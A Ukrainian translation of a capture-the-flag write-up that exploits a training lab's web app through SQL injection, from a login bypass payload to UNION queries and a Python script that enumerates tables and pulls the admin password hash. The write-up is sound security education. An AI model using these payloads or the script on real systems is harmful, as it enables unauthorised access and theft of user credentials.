Іноді найпростіші баги приносять найбільше задоволення! У цьому лабораторному завданні я перейшов від обходу аутентифікації до витягання даних всіх користувачів (включаючи пароль адміністратора) через вразливості SQL-ін’єкцій. Нічого надзвичайного, але завжди приємно використовувати класичні техніки.
Для швидкого тестування я використовував розширення Hackbar у Firefox. Це стара версія розширення, яка працює лише з певними (і досить старими) версіями Firefox. Однак для сучасних браузерів є альтернативні розширення з тим самим іменем і функціональністю, але з деякими відмінностями.
Перед тим, як почати, хочу зазначити, що цей CTF можна знайти на 0x4148 під назвою завдання SQL Injection: Breaking In — 01. Це частина серії CTF, що застосовує концепції, отримані з плейлиста навчальних відео від Eng. Ahmed Sultan, який доступний на YouTube (арабською).
Давайте почнемо!
Цілі
- Обійти аутентифікацію та отримати доступ до програми без дійсних облікових даних (за допомогою SQL-ін'єкції).
- Знайти додаткові вразливості SQL-ін'єкції в програмі та витягнути пароль адміністратора (що є прапором завдання).
Обхід аутентифікації
- Це було просто:
admin' OR 1='1
- Але ось що цікаво: коли я спробував закоментувати решту запиту ось так:
admin' OR 1=1 -- -
- Програма видала цікаву помилку:
”Шкода, цей символ не дозволений. Він може зламати запит, пам’ятаєш? 🙂”
Повідомлення про помилку
- Ідея тут в тому, що якщо SQL-запит на сервері більш складний, закоментування решти може призвести до його зламу. А використання першого пейлоада дозволяє зберегти запит ідеально збалансованим без додаткових зусиль. УРОК ВИВЧЕНИЙ!
- Після обходу панелі входу, я потрапив в програму. Час шукати інші вразливості SQLi!
Виявлення SQLi та витягування пароля адміністратора
Пошук точки ін’єкції
- Почав оглядати програму, і перше, з чим я зіткнувся, було це посилання:
http://livelabs.0x4148.com/sms/admin/?page=purchase_order/view_po&id=2
- Воно отримує дані замовлення залежно від його
ID
, що означає, що є взаємодія з базою даних.
Виявлення вразливості
- Оскільки значення ID є числовим, ми перевіримо це найпростішим способом, спробувавши деякі прості математичні рівняння!
- Якщо
&id=3–1
та&id=1+1
дадуть такий самий результат, як&id=2
, то це вразливість… - Чому? Тому що SQL обробляє такого роду обчислення за нас. Отже,
3–1
та1+1
будуть рівні2
, і якщо обидва повертають те саме замовлення, це однозначно вразливість.
Експлуатація
- Для того, щоб виконати успішну атаку SQL-ін’єкцією, нам потрібно зробити дві важливі речі:
- Визначити кількість стовпців, щоб правильно використовувати UNION.
- Визначити типи даних стовпців. З’ясувати, які стовпці приймають рядки і повертають/виводять їх у відповіді, щоб ми могли ексфільтрувати дані через них.
Крок 1: Визначення кількості стовпців
- Для використання UNION я повинен був з’ясувати кількість стовпців у першому/поточному/використовуваному запиті.
- Легко визначити кількість стовпців за допомогою
order by
. - Почав з
&id=2 order by 999 -- -
і, очікуючи, що запит зламається, отримав нормальне замовлення! Дивно! Неможливо, щоб таблиця мала 999 стовпців xD - Тож я спробував додати одну лапку після номера замовлення:
&id=2' order by 999 -- -
і даних не повернуло (як і очікувалося), потім я спробував&id=2' order by 1 -- -
, і це спрацювало, повернувши дані замовлення! - Звідси я просто почав пробувати різні числа з
order by
, щоб визначити кількість стовпців.
4.
Оскільки&id=2' order by 13 -- -
повернув дані замовлення, але&id=2' order by 14 -- -
не повернув, кількість стовпців дорівнює 13. - Для того, щоб переконатися, що це працює, я спробував наступний запит UNION з значенням
null
для всіх стовпців. І він чудово повернув дані замовлення.
Ідеально збалансований запит UNION
Крок 2: Знайти стовпці, що виводяться
- Тепер ми маємо першу необхідну річ — кількість стовпців. Тепер потрібно з'ясувати, які з 13 стовпців можуть приймати рядки і виводити/повертати їх у відповіді, щоб ми могли ексфільтрувати дані через них.
Чому? Деякі стовпці призначені для зберігання цілих чисел, в той час як інші можуть містити текст. Якщо ми спробуємо вставити текст у стовпець, призначений для цілих чисел, запит зазнає невдачі або працюватиме несподівано.
- Я заміню всі значення стовпців випадковими значеннями та подивлюся, які з них з'являться у відповіді, щоб зосередитися на них.
- Зверніть увагу, що для отримання значень другого запиту UNION нам потрібно буде спочатку вказати неіснуючий ID, наприклад від'ємне значення: &id=-2.
- Якщо ми залишимо правильний/існуючий id, він поверне лише перший рядок результатів, який є даними замовлення, а результат нашого запиту UNION буде у другому рядку. Але якщо замовлення з наданим ID не буде знайдено, результат нашого запиту UNION з'явиться в першому рядку.
Точки відображення показують, які стовпці ми можемо використовувати
- Як ми бачимо, багато стовпців відображаються у відповіді, я зосереджуся на 13-му стовпці в кінці.
Я спробував команду “version()” перед подальшими експлуатаціями, і вона спрацювала.
Крок 3: Витягування бази даних
- Ось тут і починається справжнє задоволення! Зазвичай я б використав SQLmap, щоб пришвидшити процес, але оскільки мета цього CTF — це ручна практика, тому без обхідних шляхів.
Швидка примітка: на цьому етапі SQL-Injection Cheat Sheet від Portswigger може бути дуже корисним.
- Спочатку я отримав імена таблиць за допомогою:
SELECT table_name FROM information_schema.tables;
Отримання імен таблиць бази даних
- Як ви помітили, проблема полягає в тому, що він повертає лише перший результат! У будь-якому випадку, ми можемо використати
LIMIT
для ітерації через всі імена таблиць і отримати їх. - Але перед тим, як це зробити, я спробував використовувати функцію
group_concat()
, що є SQL функцією, яка об'єднує всі результати в один результат! Круто, так? Давайте спробуємо.
Витягування всіх таблиць бази даних за допомогою функції SQL “groupconcat()”_
- Це спрацювало, але чомусь виведення обрізається на певній довжині.
Отже, ми повертаємося до першої ідеї — ітерації через всі таблиці за допомогою оператораLIMIT
. - Для автоматизації процесу отримання імен таблиць я написав швидкий скрипт на Python:
import requests
from bs4 import BeautifulSoup
cookies = {"PHPSESSID": ""}
results = []
def get_tables_names():
for offset in range(0, 100):
url = f"https://livelabs.0x4148.com/sms/admin/?page=purchase_order/view_po&id=-2' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,table_name FROM information_schema.tables LIMIT {str(offset)},1 -- -"
res = requests.get(url, cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
value = soup.find("label", attrs={"for": "supplier_id"}).find_next_sibling("div").text.strip()
if value == "":
break
print(value)
results.append(value)
get_tables_names()
- Цей скрипт ітерує через таблиці за допомогою оператора
LIMIT
і витягує їх імена з відповіді за допомогою BeautifulSoup. - Якщо BeautifulSoup вам не підходить, можна просто розділити текст відповіді за допомогою вбудованої функції Python
split()
, або використати RegEx, чи будь-який інший метод, який ви могли б придумати. Повністю на ваш вибір! - Після запуску скрипта я отримав цікаві імена таблиць. Звісно, я зосередився на таблиці
users
, адже саме там має бути пароль адміністратора.
Витягнуті таблиці
Крок 4: Витягування пароля адміністратора
- Отже, нашою цільовою таблицею є
users
. Давайте з’ясуємо її імена стовпців за допомогою простого SQL запиту.
Витягування стовпців таблиці “users”
- Цього разу я використав
group_concat()
, оскільки результатів лише 13 стовпців, і вони не будуть обрізані, як у нашій першій спробі. - І останнє, щоб отримати хеш пароля адміністратора, просто ще один простий SQL запит.
Витягування пароля адміністратора та отримання прапора
- І все!
Цей лабораторний урок показав, як задовільно і приємно може бути вручну експлуатувати вразливості, особливо класичні, як SQL injection.
Дайте знати, якщо є якісь відгуки чи думки щодо підходу або самого опису — я з радістю вислухаю вашу думку.
Перекладено з: Classic SQL Injection: From Login Bypass to Database Domination — the Oldschool Way